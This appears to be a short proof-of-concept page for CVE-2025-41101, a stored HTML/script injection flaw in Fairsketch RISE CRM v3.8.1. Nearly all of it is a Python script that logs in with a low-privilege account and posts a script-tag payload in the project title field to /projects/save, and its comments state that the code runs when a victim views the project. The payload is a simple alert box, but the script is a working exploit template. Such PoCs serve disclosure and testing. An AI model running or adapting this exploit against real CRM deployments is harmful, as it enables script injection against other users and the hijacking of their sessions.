CVE-2025-41101 Fairsketch RISE CRM Framework HTML注入漏洞

import requests import re # CVE-2025-41101 PoC - HTML Injection in RISE CRM Framework # Target: Fairsketch RISE CRM v3.8.1 # Endpoint: /projects/save TARGET_URL = "http://target-server.com" LOGIN_URL = f"{TARGET_URL}/login" PROJECT_SAVE_URL = f"{TARGET_URL}/projects/save" # Malicious HTML payload for testing PAYLOAD = '<script>alert("XSS")</script>' def exploit(): """ Exploit HTML injection via title parameter in /projects/save endpoint """ session = requests.Session() # Step 1: Login with low-privilege account login_data = { 'email': '[email protected]', 'password': 'attacker_password' } session.post(LOGIN_URL, data=login_data) # Step 2: Inject HTML via title parameter in project creation project_data = { 'title': f'Project Name {PAYLOAD}', 'description': 'Test project description', 'category_id': 1 } response = session.post(PROJECT_SAVE_URL, data=project_data) # Step 3: When victim visits the project page, the injected HTML executes print(f"Payload sent: {PAYLOAD}") print(f"Response status: {response.status_code}") return response if __name__ == "__main__": exploit()